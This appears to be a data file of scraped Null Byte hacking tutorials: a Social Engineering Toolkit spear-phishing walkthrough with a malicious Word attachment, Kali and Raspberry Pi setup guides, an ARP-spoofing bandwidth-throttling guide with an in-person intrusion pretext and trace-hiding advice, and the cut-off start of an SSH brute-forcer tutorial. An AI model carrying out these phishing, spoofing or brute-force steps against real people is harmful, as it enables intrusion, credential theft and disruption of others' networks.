title
stringlengths 30
147
| content
stringlengths 17
61.4k
|
---|---|
Hack Like a Pro: How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrack Β« Null Byte :: WonderHowTo | Welcome back, my rookie hackers!Many newbie hackers focus upon the technical aspects of hacking and fail to give enough attention to social engineering. In fact, I would say that technical hacks should ONLY be attempted if social engineering attacks fail. Why bother spending hours or days trying to hack a password if someone will simply give it to you?Social engineering is the act of getting people to give you the information you seek, usually by gaining their trust. That trust may be gained by posing as someone in authority, a colleague, or just someone who needs help. Some of the best hackers in history, including Kevin Mitnick, have been great social engineers.BackTrackhas a tool to assist and automate social engineering attacks calledSET, or theSocialEngineeringToolkit. SET was developed by David Kennedy and simplifies a number of social engineering attacks such as phishing, spear-phishing, malicious USBs, etc. Furthermore, it has been integrated withMetasploitso that we can use Metasploit exploits and payloads in our social engineering attacks.The current version of the Social Engineering Toolkit includes the following types of attacks.SpearphishingWebsitesMalicious USBsSo, let's fire up our BackTrack and explore the Social Engineering Toolkit!Step 1: Open SETTo start using the Social Engineering Toolkit, go toBackTrack, thenExploitation Tools, thenSocial Engineering Tools, thenSocial Engineering Toolkit, and click onset.Step 2: Pick Your TypeThis should open the main menu for the Social Engineering Toolkit. Note that it offers:Spear-Phishing AttacksWebsite AttacksInfectious Media GeneratorCreate a Payload and ListenerMass Mailer AttackArduino-based Vector AttackSMS Spoofing AttackWireless Access PointAnd many othersIn this tutorial, we'll be looking at creating a spear-phishing attack. For those of you not familiar with this terminology, a phishing attack is an email attack with a broad "net" in an attempt to try to pick up a few random victims. A spear-phishing attack is similar, except that it targets one or a few individuals. In other words, it's a targeted social engineering attack, hence the spear.Step 3: Spear-PhishLet's now select number 1 from the menu and begin our spear-phishing attack. When we do, we will be greeted with the screen below.It explains what a spear-phishing attack is and asks us how we want to go about our attack. We can choose:Mass email attackFileFormat payloadSocial engineering templateLet's select a FileFormat attack. Type number 2 and press enter.Step 4: Choose an AttackAfter we select our FileFormat type attack, we will be asked what type of exploit we would like to use. Notice that the default is the PDF with the embedded .exe. In this hack, let's use the Microsoft Word RTF Fragments attack or MS10_087.This will create a Word document that will overflow a buffer and enable us to put a listener or rootkit on the victim's machine. Type 4 and press enter.Step 5: Choose a PayloadNow that we have decided what type of file we want to use in our attack, our next step is to decide what type of listener (aka rootkit, aka payload) we want to leave on the victim system. These may look familiar to those of you who have used Metasploit as these are Metasploit payloads.Let's be ambitious and try to get the Metasploit meterpreter on that victim's machine. If we are successful, we will completely own that system!Step 6: Create the FileAfter we type number 5 and press enter, we must choose what port we want to listen on (the default 443). SET then goes about creating our malicious file for us. It names that file template.rtf.Step 7: Rename the FileIf we want to trick the victim into opening the file, we should name it something that sounds enticing or familiar to the victim. Now this will differ depending upon the victim, but in our scenario we're trying to spear a manager at a large company, so let's call it SalesReport, something he or she might actually be expecting in their email.Step 8: Create the EmailNow that we have created the malicious file, we now need to create the email. This is important. If we're to get the victim to open the file, the email must look legitimate. SET prompts us whether we want to use a pre-defined template or a one-time-use email template. Let's be creative and choose a one-time-use email.SET then prompts us for the subject of the email. In this case, I used Sales Report. SET then asks us whether we want to send it in html or plain text. I chose html to make it look more inviting and legitimate. Finally, SET prompts us to write the body of the email and then type Control + C when we are finished. I wrote:Dear BigShot:Please find attached my quarterly sales report. If you have any questions, please feel free to ask.Sincerely,Your MinionOf course, your email will differ depending upon who you're sending it to, but try to make it sound enticing and legitimate or they aren't likely to open the attached malicious file and our attack will fail.When we're finished, SET will ask us whether we want to use a Gmail account or send it from our SMTP server. In most cases, we will want to use a Gmail account. Simply type in your address (you might want to create an anonymous email account for this purpose) and password, and SET will send the email you created with the malicious attachment from this Gmail account.We will be using some of the other features of the Social Engineering Toolkit in future tutorials, so keep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseFishermenandphishingimages via ShutterstockRelatedThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageHow To:Use "SET", the Social-Engineer ToolkitHow To:Use Social Engineering to Hack ComputersHack Like a Pro:The Ultimate Social Engineering HackNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Malware Targets Mac Users Through Well-Played Phishing AttackNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)News:The Hack of the Century!News:White House Hacked by Russian Hackers!News:What Does Britney Spears Have to Do with Russian Hackers? More Than You ThinkSocial Engineering:The Most Powerful HackSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingSocial Engineering, Part 1:Scoring a Free Cell PhoneWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersHow To:The Official Google+ Insider's Guide IndexDrive-By Hacking:How to Root a Windows Box by Walking Past ItNews:Live Social EngineeringHow To:Proof of Social Engineering Success!How To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Score Free Game Product Keys with Social EngineeringNews:Backtrack 5 Security Essentials |
How to Get Started with Kali Linux (2014 Version) Β« Null Byte :: WonderHowTo | Welcome back, my apprentice hackers!As many of you know, I have been hesitant to adopt the newKalihacking system from Offensive Security. This hesitancy has been based upon a number of bugs in the original release back in March of 2013 and my belief thatBackTrackwas easier for the novice to work with.In recent days, Office Security hasdiscontinuedthe downloads of BackTrack (although it is still available from many torrent sites), and the release ofKali 1.0.6in January of 2014 repaired many of the known bugs, so I am now converting to Kali!Update:How to Get Started with Kali Linux (2020 Version)The Differences Between Kali & BackTrackThose of you who are using BackTrack, don't worry, things are very similar. Some tools are in different places, but in general, Kali is very similar to BackTrack. One of the first things you may notice different about Kali is that it is built on Debian Linux instead of Ubuntu Linux. This won't create dramatic differences, but some subtle ones.One of the reasons that the folks at Offensive Security gave for converting from Ubuntu to Debian is that they are not comfortable with the direction that Ubuntu is going. BackTrack was built on Ubuntu 10.04 and that Ubuntu release was scheduled for non-support. That would have left BackTrack without an Ubuntu release they were both comfortable with and had support.The transition from Ubuntu to Debian should not be difficult as Ubuntu began as a fork of Debian and share many of the same features and conventions.The Advantages of Using Kali Over BackTrackSome of the advantages of using Kali include the following.The GNOME interface, if you are familiar with it.Some new tools.Updates on some old tools such as Metasploit, p0f, etc.Continuity into the future as Ubuntu pursues its own agenda that is inconsistent with hacking and security.You can now invoke any tool from any directory as all tool directories are in the PATH variable.We now have a build specifically designed for the ARM architecture.Now that you know the basic information, let's get started using it.Step 1: Download & Burn KaliFirst navigate tokali.org; you should see a page like this:Now, let's click on the tab at the top that says "Downloads" and you should be greeted with a screen similar to this.As you can see, you have a choice of 64-bit, 32-bit, ARMEL, or ARMEH.For most of you with a 64-bit OS and 64-bit processor, you will want to download the 64-bit ISO. If you are not sure, download the 32-bit, it will run on either a 32-bit or 64-bit system.The other two options are for the ARM processors that are in such devices as smartphones and tablets. We will be working with those in a later tutorial (think of the possibilities...hacking from a smartphone, tablet, and even a Raspberry Pi).Make certain that you have about 3 GB of available hard drive space as these downloads are about 2.9 GB each.Once you have downloaded Kali (it takes an hour or two depending upon your connection speed), burn it to a DVD. If you need help burning an ISO to a DVD, check out Step 2 in mypast guide on installing BackTrack. It's the same process.Step 2: Install KaliInstalling Kali is similar toinstalling BackTrack. For our purposes here, I would recommend installing into a virtual machine (VM). In that way, you can practice hacking between systems all on your box and evade breaking any laws and being separated from your computer for a few years.Probably the two best virtualization systems are VMWare'sWorkstationand Oracle'sVirtual Box. I use both and I have to give the nod to Workstation as easier to use and more glitch-free, but since Oracle bought Sun Microsystems a few years ago (and its Virtual Box), Virtual Box has been getting better and better.A big difference between the two is price. VMWare's Workstaion is about $180 and Oracle's Virtual Box is free. Can't beat that price!Remember,like BackTrack, you can log in as "root" with a password of "toor". Then, type "startx" to start the X-Windows system.The Disadvantages of Using a VMThere are three primary disadvantages of using a VM. First, resource usage. Running a VM requires additional RAM to run well. It will run in 4 GB, but slowly. I recommend 8 GB as a minimum.Second, to do wireless hacking from a VM, you will need anexternal wireless card. In reality, to do effective wireless hacking, you will need anaircrack-ng-compatiblewireless card, so if you choose the VM route, make certain to buy an aircrack-ng compatible wireless card.Third, the virtualization system adds an additional level of complexity that can prove daunting to the beginner.If Not Using a VM, Dual Boot InsteadThe other option is to install it as adual boot system. To do so, first, change the boot sequence on your system to boot first from your DVD/CD drive. Then, you can simply boot Kali from the DVD you burned from the ISO image you downloaded.Once it boots, you then click on the install Kali icon in the upper left-hand corner. The install wizard will walk you through the steps to partition your hard drive so that you can have two or more operating systems on the hard drive and simply boot into which ever one you please.The advantages of a dual boot system are multi-fold. First, Kali will run faster with less resources. Two, you will NOT need an additional wireless card (but it is still recommended). Third, you will not have the additional complexities of working in a VM.Step 3: Navigate in KaliOnce we have Kali installed, you can see that it looks similar to BackTrack with the same background and logo. Also, unlike BackTrack, you don't have the choice of interfaces.The only interface Kali offers is the ever popular GNOME interface (I prefer KDE, but I will now be working in GNOME in Kali). Of course, you can downloadthe KDE interfaceif you prefer and install and run it.Step 4: The GNOME/Kali InterfaceIf you have used another Linux distribution with the GNOME interface, the pull-down menus at the top of the desktop will be familiar to you.The applications menu to the very far left is the one we are most interested in. When we pull it down, you can see the "Kali Linux" menu about midway down. That is where we will start most of our hacks (remember, though, that one of the advantages of Kali is that we can invokeanytool fromanydirectory from the terminal, so that menu system will be less necessary).Just like BackTrack, it then subdivides our hacking tools into various categories.Step 5: The Top Ten Security ToolsOne of the many things that the folks at Offensive Security added to Kali was a "Top Ten Security Tools" menu. As you can see below, this includes some of my favorite tools such asnmap,Metasploit,sqlmap,Wireshark, andaircrack-ngamong others.Keep coming back, my apprentice hackers, as we explore further the nefarious capabilities of Kali!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Run Kali Linux as a Windows SubsystemHow To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1How To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Linux Basics for the Aspiring Hacker: Using Start-Up Scripts |
How to Control Network Traffic with Evil Limiter to Throttle or Kick Off Devices Β« Null Byte :: WonderHowTo | If you find yourself with a roommate hogging limited data bandwidth with video games or discover a neighbor has invited themselves into your Wi-Fi network, you can easily take back control of your internet access. Evil Limiter does this by letting you control the bit rate of any device on the same network as you, allowing you to slow or even stop data transfer speeds for them completely.Generally speaking, the average user doesn't have much visibility over who or what is on their network, so anyone with the password can slip in and start using bandwidth. In other situations, a roommate or family member may be hogging all the bandwidth unfairly to play video games or stream videos. Some routers have web interfaces that allow you to set limits on each connection, but without the password to the router, this option may not be accessible.Don't Miss:Use & Abuse ARP to Locate Hosts on a NetworkEvil Limiter uses ARP spoofing to make devices send data to the attacking computer rather than the router, allowing us to send the data on to the router at whatever speed we like. Thanks to the way the ARP protocol works, it's possible to control the speed of any device on a shared network connection. However, because ARP spoofing only works on IPv4 networks, this tool won't be effective on IPv6 for now.Evil Limiter for HackersFor a hacker, Evil Limiter allows easy targeting of either one, a few, or all devices on a network. It's easy to cut the cord on the internet of a particular device at any moment, allowing for a convenient pretext for asocial engineeringattack. If a hacker wanted access to an employees-only area, they could identify the device of employees in the area they want to be, then limit the speed of their connection.Rather than showing up unannounced, a hacker could throttle the manager's data connection while pretending to call from the utility company to ask if the internet connection has been slow. When the manager finds the internet is indeed slow, the hacker simply asks the best time to send someone over to fix it, giving them a pretext to enter the building and preventing the target calling the real utility company.What You'll NeedTo use Evil Limiter, you'll need a Linux system like Kali or Ubuntu with Python3 or higher. While a powerful advantage of Evil Limter is that it can be run on networks even when you don't have administrator privileges, I recommend making sure you have permission to run the tool on any network you want to test it on.Evil Limiter uses the ARP packet to limit connection speeds which is present in IPv4 networks, but not in IPv6 networks. Because of this, IPv6 systems are out of reach of this tool, as mentioned before.Don't Miss:Understand & Use IPv4 to Navigate a NetworkStep 1: Install Evil LimiterTo installEvil Limiter, there are only a few commands to throw in a terminal window, seen below. When the required libraries finish installing, Evil Limiter should be installed and ready to run.~# git clone https://github.com/bitbrute/evillimiter.git
~# cd evillimiter
~# sudo python3 setup.py installStep 2: Connect to the NetworkNow, you'll need to connect to your target network. Afterward, you can run Evil Limiter by typingevillimiterin a new terminal window. You should see something like below.~# evillimiter
βββββββββββ βββββββββ βββ βββββββ βββββββββββββββββββββββββββββββ
βββββββββββ βββββββββ βββ ββββββββ βββββββββββββββββββββββββββββββββ
ββββββ βββ βββββββββ βββ βββββββββββββββββ βββ ββββββ ββββββββ
ββββββ ββββ ββββββββββ βββ βββββββββββββββββ βββ ββββββ ββββββββ
ββββββββ βββββββ βββββββββββ ββββββββββββββ βββ ββββββ βββ βββββββββββ βββ
ββββββββ βββββ βββββββββββ ββββββββββββββ ββββββ βββ βββββββββββ βββ
by bitbrute ~ limit devices on your network :3
v1.1.0
OK interface: wlan0
OK gateway ip: 192.168.5.1
OK gateway mac: 84:ββ:ββ:ββ:ββ:1a
OK netmask: 255.255.255.0
type help or ? to show command information.If you see this, Evil Limiter is installed, connected to the network, and ready to go.Step 3: View Available CommandsYou can explore the functionality of Evil Limiter by looking through the menu system and checking out the available commands. To do so, type a question mark in the terminal to pull up the help page.(Main) >>> ?
scan scans for online hosts on your network.
required to find the hosts you want to limit.
hosts lists all scanned hosts.
contains host information, including IDs.
limit [ID1,ID2,...] [rate] limits bandwith of host(s) (uload/dload).
e.g.: limit 4 100kbit
limit 2,3,4 1gbit
limit all 200kbit
block [ID1,ID2,...] blocks internet access of host(s).
e.g.: block 3,2
block all
free [ID1,ID2,...] unlimits/unblocks host(s).
e.g.: free 3
free all
add [IP] (--mac [MAC]) adds custom host to host list.
mac resolved automatically.
e.g.: add 192.168.178.24
add 192.168.1.50 --mac 1c:fc:bc:2d:a6:37
clear clears the terminal window.Step 4: Discover DevicesAs we can see above, the commands are straightforward. To find devices on the network, all you need to do is typescan.(Main) >>> scan
100% |ββββββββββββββββββββββββββββββ| 256/256
OK 7 hosts discovered.The scan will pull up any other hosts on the network. Typehoststo show them all.(Main) >>> hosts
βHostsβββββββββββββββ¬ββββββββββββββββββββ¬βββββββββββ¬βββββββββ
β ID β IP-Address β MAC-Address β Hostname β Status β
ββββββΌβββββββββββββββΌββββββββββββββββββββΌβββββββββββΌβββββββββ€
β 0 β 192.168.5.1 β 84:ββ:ββ:ββ:ββ:1a β _gateway β Free β
β 1 β 192.168.5.2 β 0c:ββ:ββ:ββ:ββ:f5 β β Free β
β 2 β 192.168.5.4 β 3c:ββ:ββ:ββ:ββ:6f β β Free β
β 3 β 192.168.5.24 β 60:ββ:ββ:ββ:ββ:78 β β Free β
β 4 β 192.168.5.25 β c4:ββ:ββ:ββ:ββ:2b β β Free β
β 5 β 192.168.5.61 β 8c:ββ:ββ:ββ:ββ:f5 β β Free β
β 6 β 192.168.5.67 β f0:ββ:ββ:ββ:ββ:b5 β β Free β
ββββββ΄βββββββββββββββ΄ββββββββββββββββββββ΄βββββββββββ΄βββββββββIn my example, seven devices have been discovered on the network, with one of them being the router. Now we have a target list with which we can block or limit access, so let's give it a try.Step 5: Limit or Block DevicesIf you want to limit every device except the router, you can list them off one by one after thelimitcommand. You'll also have to specify the speed you want to limit them to. In my case, I'll go with200kbitas the limiting speed.You could use thelimit allcommand to choose everything, but because you want to leave the router alone, type the commandlimit 1,2,3,4,5,6instead to begin limiting those specific devices. The amount of devices you list depends on how many you found.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin Attack(Main) >>> limit 1,2,3,4,5,6 200kbit
OK 192.168.5.2 limited to 200kbit.
OK 192.168.5.4 limited to 200kbit.
OK 192.168.5.24 limited to 200kbit.
OK 192.168.5.25 limited to 200kbit.
OK 192.168.5.61 limited to 200kbit.
OK 192.168.5.67 limited to 200kbit.Now that we've limited some devices, we can also select any devices we want to block entirely from accessing the network. I've found that sometimes Evil Limiter can be heavy-handed while limiting connections, and the result is that devices are limited so much they might as well be blocked.To block a device, type theblockcommand, then the number of any device you want to prevent from receiving data over the network.(Main) >>> block 3
OK 192.168.5.24 blocked.Tryhostsa second time. The majority of the network should be blocked or limited.(Main) >>> hosts
βHostsβββββββββββββββ¬ββββββββββββββββββββ¬βββββββββββ¬ββββββββββ
β ID β IP-Address β MAC-Address β Hostname β Status β
ββββββΌβββββββββββββββΌββββββββββββββββββββΌβββββββββββΌββββββββββ€
β 0 β 192.168.5.1 β 84:ββ:ββ:ββ:ββ:1a β _gateway β Free β
β 1 β 192.168.5.2 β 0c:ββ:ββ:ββ:ββ:f5 β β Limited β
β 2 β 192.168.5.4 β 3c:ββ:ββ:ββ:ββ:6f β β Limited β
β 3 β 192.168.5.24 β 60:ββ:ββ:ββ:ββ:78 β β Blocked β
β 4 β 192.168.5.25 β c4:ββ:ββ:ββ:ββ:2b β β Limited β
β 5 β 192.168.5.61 β 8c:ββ:ββ:ββ:ββ:f5 β β Limited β
β 6 β 192.168.5.67 β f0:ββ:ββ:ββ:ββ:b5 β β Limited β
ββββββ΄βββββββββββββββ΄ββββββββββββββββββββ΄βββββββββββ΄ββββββββββStep 6: Restore Normal ConnectionNow that you've caused chaos on the network, it's time to set things back the way they were. Fortunately, doing so is easy. You can choose to either restore devices one by one or runfree allto undo any limitations on network devices.(Main) >>> free all
OK 192.168.5.2 freed.
OK 192.168.5.4 freed.
OK 192.168.5.24 freed.
OK 192.168.5.25 freed.
OK 192.168.5.61 freed.
OK 192.168.5.67 freed.Runhostsa third time, and network access should be normal again for all devices.(Main) >>> hosts
βHostsβββββββββββββββ¬ββββββββββββββββββββ¬βββββββββββ¬βββββββββ
β ID β IP-Address β MAC-Address β Hostname β Status β
ββββββΌβββββββββββββββΌββββββββββββββββββββΌβββββββββββΌβββββββββ€
β 0 β 192.168.5.1 β 84:ββ:ββ:ββ:ββ:1a β _gateway β Free β
β 1 β 192.168.5.2 β 0c:ββ:ββ:ββ:ββ:f5 β β Free β
β 2 β 192.168.5.4 β 3c:ββ:ββ:ββ:ββ:6f β β Free β
β 3 β 192.168.5.24 β 60:ββ:ββ:ββ:ββ:78 β β Free β
β 4 β 192.168.5.25 β c4:ββ:ββ:ββ:ββ:2b β β Free β
β 5 β 192.168.5.61 β 8c:ββ:ββ:ββ:ββ:f5 β β Free β
β 6 β 192.168.5.67 β f0:ββ:ββ:ββ:ββ:b5 β β Free β
ββββββ΄βββββββββββββββ΄ββββββββββββββββββββ΄βββββββββββ΄βββββββββEvil Limiter Is Effective but AggressiveIn my tests with Evil Limiter, I found it to be an extremely effective if sometimes overbearing tool. On occasion, my attempts to limit a target would instead wholly block it, so be sure to test the effectiveness of this tool before using it anywhere important.One thing to keep in mind when using Evil Limiter is that ARP spoofing exposes your MAC address, so using this tool on a network is effectively telling everyone that your MAC address is the router. That leaves your MAC address in the ARP cache of every machine you're targeting, so make sure to spoof your MAC address before using this tool if you don't want to be leaving your machine's fingerprints all over the network.I hope you enjoyed this guide to using Evil Limiter! If you have any questions about this tutorial on ARP spoofing, leave a comment below, and feel free to reach me on [email protected]'t Miss:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Fix Boost Control Device on Bosch Fuel PumpHow To:Kick People Off Your Wi-Fi Network Using Your Nexus 7How To:Intercept Images from a Security Camera Using WiresharkHow To:Land a Nitro RC planeHow To:Draw Kick ButtowskiHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Clean the throttle body on a Saturn S-series carHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Add a Data Traffic Meter to Your Nexus 5's Status BarHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Create an Evil Access Point with MitmAPHow to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHow To:9 Ways to Get People to Do What You WantNews:Save Me!News:The Wet Potato Race!How To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Get Free Wi-Fi from Hotels & MoreNews:Tips on recording a kick drumNews:The Kick Ass Video Game!How To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesResident Evil:AfterlifeNews:Alec Baldwin Kicked Off Plane for Playing Words with FriendsHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Use the Safe Color Limiter Effect in AvidGalactic Invasion:How to Make a Wireless Robot Rocket LauncherMastering Security, Part 2:How to Create a Home VPN TunnelNews:The World we don't seeNews:Vibrant Color Photography Challenge: Evil Gummy BearRIP:ScroogleHow To:Downgrade and Jailbreak Your iOS Devices Stock Firmware for the HolidaysHow To:Use Tortunnel to Quickly Encrypt Internet Traffic |
Rasberry Pi: Introduction Β« Null Byte :: WonderHowTo | Most of you probably heard about Rasberry Pi and if you haven't; what is wrong with you? But nothing less a Rasberry Pi is a computer a very small computer. Despite these size limitations, the Rasberry Pi is to not be underestimated. Not only can it do anything like a normal laptop or desktop, but, in my opinion on of the coolest features is that it boots off a Micro SD card. It can do anything that you want, but it's built to be played with. A hacker heaven.Despite lecturing on the Rasberry Pi, this'll be I hope the start of a series of haw-to's on the Rasberry Pi. From a script that'll automatically change your IP addresses several different IP addresses, to creating zero day exploits. This'll be a long series, I'm aiming for 10 to 15.I shall note that this tutorial I got the information from: Vilros Rasberry Pi 2 User's Guide. A similar guide ishereBasicsIf you are new to the Raspberry Pi than read on, but if you are familiar with the environment please skip this section if you would like to.I'm assuming you have already bought your own Raspberry Pi but if not Amazon has in stock many different kits so please check Amazon out or any other site that sells computers. Now the first step is setting up environment. Your kit probably came with a booklet describing briefly how to setup your environment, but the problem is it lacks detail.You can't do anything without a Micro SD card, so plugin the power supply into your Pi and insert gently your Micro SD card. Now plugin your HDMI cable into your Pi and into either a TV or a monitor that has a HDMI port. For TV's depending on the one you own it's either on the back on either the left side or right, but if you have a older TV than it'll probably need cords that have connections that are yellow, red, and white. With this cord in order to plugin into your Raspberry you need a 4-pole jack plug.Now with your Pi all plugged in, you now see the NOOBS program selection screen that will allow you to install your OS of choice. With mine, I had only the option was to install Rasbian Linux but depending on your program you will probably have different options to choose from. Some different types of OS that can be run on Raspberry Pi are:Arch LinuxRISC OSRetroPieAEROSAndroid 5.1- Yes you can run a Android environmentUbuntu MATENo Operating System- also known as "bare-metal" programmingInstalling NOOBSIf for some reason you are missing NOOBS please follow this guide below:First of all you need to write the image to a blank micro SD card on another computer. The link to theimagecan be found on the Rasberry Pi website.It is a .zip archive that you need to unzip. Once unzipped, you may use any image burner that you desire.Ip AddressesThe problem with Rasberry Pi with just the way it comes with is that each time you connect to WiFi the Ip address always changes. Why? I think that's a question for someone else. The point is if in the future you want to access your Pi through a computer then it would be ideal to have the same Ip address, right? In order to do that you would need to access the interfaces.Firstly, take note of your ip address.Type:ifconfigIf you are connected through a Ethernet cable, section labelled "eth0", make note of the values under "inetaddr, "Bcast" and "Mask". Now type:netstat -nrMake note under "Gateway" and "Destination". If you see two entries ignore the values 0.0.0.0 and use your other values. Now type:sudo nano /etc/network/interfaces (if in super user ignore the sudo)If using Ethernet, change: iface eth0 inet staticAdd the following:address <inet addr>netmask <mask>network <destination>broadcast <bcast>gateway <gateway>if using WiFi, change: iface wlan0 inet dhcpAdd the following after the word "static":address <inet addr>netmask <mask>gateway <gateway>Congratulations, you have successfully set a permanent Ip address. Now press Ctrl + X, then press Y and restart your Pi.Well, that's that for this tutorial. I do apologize for any errors and please give me some lovins. :DWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedRasberry Pi:Connecting on ComputerZanti:IntroductionHow To:Build a Portable Pen-Testing Pi BoxHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Build Your Own Internet Radio Player, AKA Pandora's BoxHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxRaspberry Pi:Physical Backdoor Part 1Raspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Create a Wireless Spy Camera Using a Raspberry PiRECIPE:Rasberry Buttermilk Cake Is Yum for SummerMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near YouPost Pi Day Coding Project:Let's Uncover the Hidden Words in PiNews:Happy Pi/Half-Tau Day!How To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin TinsNews:The $25 USB Stick ComputerNews:Bombs AwayNews:Mini Pies in Muffin TinsHow To:Your Guide to Lazy Baking, Part 2: How to Make Mini-Pizzas in Muffin TinsNews:The Antics Roadshow - Banksy's Documentary on the History of PranksNews:More than a s'more |
SPLOIT: How to Make an SSH Brute-Forcer in Python Β« Null Byte :: WonderHowTo | NOTICE: Ciuffy will be answering questions related to my articles on my behalf as I am very busy. Hope You Have Fun !!!As much as I love other SSH bruteforcing tools likeNcrack,Metasploit,THC-Hydra, ... ( Just to mention a few ). I prefer using my own script. The tools above have efficiency, good performance, accuracy and other fine abilities but Python makes it fun and easy to build simple and similar tools and scripts that facilitates automation. My scripts may not be perfect but Errmm ... At least they get the job done.Today's tutorial is basically a short one since I bet anyone reading this article or post knows what SSH is ? ....... ( A brief intro on SSH ).SSH - Secure ShellSecure Shell, or SSH, is a cryptographic ( encrypted ) network protocol for initiating text-based shell sessions on remote machines in a secure way.This allows a user to run commands on a machine's command prompt without them being physically present near the machine. It also allows a user to establish a secure channel over an insecure network in a client-server architecture, connecting an SSH client application with an SSH server.The most visible application of the protocol is for access to shell accounts on Unix-like operating systems, but it can also be used in a similar fashion on Windows.SSH was designed as a replacement for Telnet and other insecure remote shell protocols such as the Berkeley rsh and rexec protocols, which send information, notably passwords, in plaintext, rendering them susceptible to interception and disclosure using packet analysis. The encryption used by SSH is intended to provide confidentiality and integrity of data over an unsecured network, such as the Internet, although files leaked byEdward Showdenindicate that the National Security Agency can sometimes decrypt SSH.BUILDING A BRUTEFORCER FOR SSH IN PYTHONBruteforcing is basically trying passwords until the right one is found.Its a friend or lets say the same as dictionary attack.Before we start writing our script, We first need to check if the service i.e SSH is running and especially on its default port.Our Custom Python Port ScannerWe made a customPython Port Scannersome time ago and I think we could finally use its help here. Lets scan !!!NmapWe all know Nmap and if you don't -Use This Fine Link To Find Tutorials By OTW and OthersHEADS UPThe domain addresssecret.database.whitehouse.comis not an actual address, Just playing around my/etc/hostsfile as you can see the IP is10.0.2.21which is one of my internal NAT Virtual Machine Addresses ( Ubuntu ). Don't go scanning ghost addresses.STEP 0: INTRODUCTIONOK !!, So the entire work is going to be based on a Python Library -Paramiko. Paramiko is a Python (2.6+, 3.3+) implementation of the SSHv2 protocol, Providing both client and server functionality. While it leverages a Python C extension for low level cryptography ( PyCrypto ), Paramiko itself is a pure Python interface around SSH networking concepts.- Paramiko WebsiteSTEP 1: Importing ModulesWe import 4 modules -Paramiko,Sys,OS,SocketParamiko - SSH Library ( 10 / 10 )Sys - Exits the script and returns codes ( 2 / 10 )OS - 